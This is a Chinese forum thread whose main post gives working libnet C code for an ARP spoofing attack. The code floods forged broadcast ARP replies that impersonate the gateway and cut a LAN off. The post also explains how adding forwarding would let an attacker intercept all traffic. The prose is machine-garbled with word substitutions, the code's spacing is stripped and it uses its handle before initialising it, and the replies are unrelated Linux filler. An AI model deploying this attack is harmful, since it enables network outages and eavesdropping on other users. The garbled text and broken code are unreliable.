仓酷云

标题: 带来一篇Linux利用libnet完成ARP打击剧本道理剖析以防被打击 [打印本页]

作者: 海妖    时间: 2015-1-16 12:43
标题: 带来一篇Linux利用libnet完成ARP打击剧本道理剖析以防被打击
经常看到有人问用什么版本的linux好,其实只要你认真学习无论什么版本都挺好的。
闲来无事,用libnet写了个复杂的ARP打击。之前感到ARP打击不是出格罕见,不外比来事情中却是碰到过两次ARP棍骗的事务。实在ARP棍骗的道理灰常复杂滴,年夜部分都是在局域网中发送假造的ARP播送包,播送包的目标是干吗呢?很复杂,棍骗内网的一切主机,告知受益主机,“我”是网关。内网呆板吸收到这类播送包以后,会革新本人ARP缓存表,把网关的IP和播送包中的源MAC绑定。如许打击呆板就到达了假充网关的目标。
前次一所年夜学就是被ARP棍骗打击,他们的黉舍主页一翻开就会跳出其他良多七零八落的页面,,,,事先检察他们WEB服务器的源代码,发明没有被拔出这些<iframe>会弹页面的代码,可是用扫瞄器外网会见的时分,这些代码就呈现了,很分明网站的前往的客户端数据在途中被挟制修正了(拔出了一些代码)。
上面完成的就对照复杂了,只做棍骗,不做转发,招致的成果就是局域网一切主时机断网。测试了一下,内网主时机没法上彀,安了360ARP防护的会报警,能上彀,就是网速有点慢,可是辨认出了的打击主机仿佛禁绝确,试了几回都辨认成一般的电脑在打击,不晓得360这个辨认是否是经由过程源MAC地点辨认仍是怎样辨认。
.代码以下:

#include"arp.h"
intmain(intargc,char**argv){
libnet_t*l;
inti,packet_size;//发送的数据包的长度
libnet_ptag_tarp_tag,ether_tag;
char*device="eth0";
charerr_buf[LIBNET_ERRBUF_SIZE];
char*destion_ip_str="255.255.255.255";
char*source_ip_str="192.168.1.1";
u_charsource_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_chardestion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_tsource_ip,destion_ip;
//将字符情势ip转换为收集字节序
source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
destion_ip=libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
//初始化libnet句柄
l=libnet_init(LIBNET_LINK,device,err_buf);
if(l==NULL){
printf("初始化libnet句柄失利:%s
",err_buf);
exit(-1);
}
arp_tag=libnet_build_arp(
ARPHRD_ETHER,//硬件地点范例,此处为以太网范例
ETHERTYPE_IP,//协定地点范例
6,
4,
ARPOP_REPLY,//ARP应对
source_hardware,
(u_int8_t*)&source_ip,
destion_hardware,
(u_int8_t*)&destion_ip,
NULL,//无负载
0,//负载长度为0
l,
0//协定块标志,为0,暗示新建协定块
);
ether_tag=libnet_build_ethernet(
(u_int8_t*)&destion_hardware,
(u_int8_t*)&source_hardware,
ETHERTYPE_ARP,
NULL,
0,
l,
0
);
i=0;
while(1){
packet_size=libnet_write(l);//发送机关的ARP数据包
usleep(10);
i++;
}
printf("数据包长度为:%d
",packet_size);
libnet_destroy(l);
return0;
}


方针MAC为播送地点,全0xff就行,源MAC地点能够为本机MAC大概任意假造的MAC(在程序中猎取本机MAC可用ioctl函数,比来在写DDOS打击程序就是用ioctl猎取本机MAC和IP的),注重ARP包范例为ARPOP_REPLY(应对包)。
假如不想弄断网,只举行棍骗的话,数据发送过去以后,要举行转发到准确的网关,如许就包管内网收集一般,并且一切数据都被监听了

看不懂man文档的人.在linux中,命令可分为系统基本命令和应用程序命令.系统基本命令是所有的unix类系统都支持的命令,走到哪都不变,只要是unix类系统上就肯定有.
作者: 飘飘悠悠    时间: 2015-1-18 09:55
Linux操作系统这个名词记得在很早以前就听过,但当时并不知道具体是什么样的操作系统,只知道是一个与嵌入式密切相关的操作系统。
作者: 柔情似水    时间: 2015-1-24 14:50
主流Linux发行版都自带非常详细的文档(包括手册页和FAQ),从系统安装到系统安全,针对不同层次的人的详尽文档,仔细阅读文档后40%问题都可在此解决。
作者: 再现理想    时间: 2015-2-1 17:21
Linux?最大的优点在于其作为服务器的强大功能,同时支持多种应用程序及开发工具,所以Linux操作系统有着广泛的应用空间。
作者: 谁可相欹    时间: 2015-2-7 13:36
Windows有MS-DOS?方式,在该方式下通过输入DOS命令来操作电脑;Linux与Windows类似,也有命令方式,Linux?启动后如果不执行?X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。?
作者: 小妖女    时间: 2015-2-22 11:44
一定要学好命令,shell是命令语言,命令解释程序及程序设计语言的统称,shell也负责用户和操作系统之间的沟通。
作者: 若相依    时间: 2015-3-7 00:34
随着实验课程的结束,理论课也该结束了,说实话教OS的这两位老师是我们遇到过的不错的老师(这话放这可能不太恰当).
作者: 飘灵儿    时间: 2015-3-14 00:44
熟读Linux系统有关知识,如系统目录树,有关内容可购书阅读或搜索论坛。
作者: 蒙在股里    时间: 2015-3-20 23:56
Linux的成功就在于用最少的资源最短的时间实现了所有功能,这也是符合人类进化的,相信以后节能问题会日益突出。




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2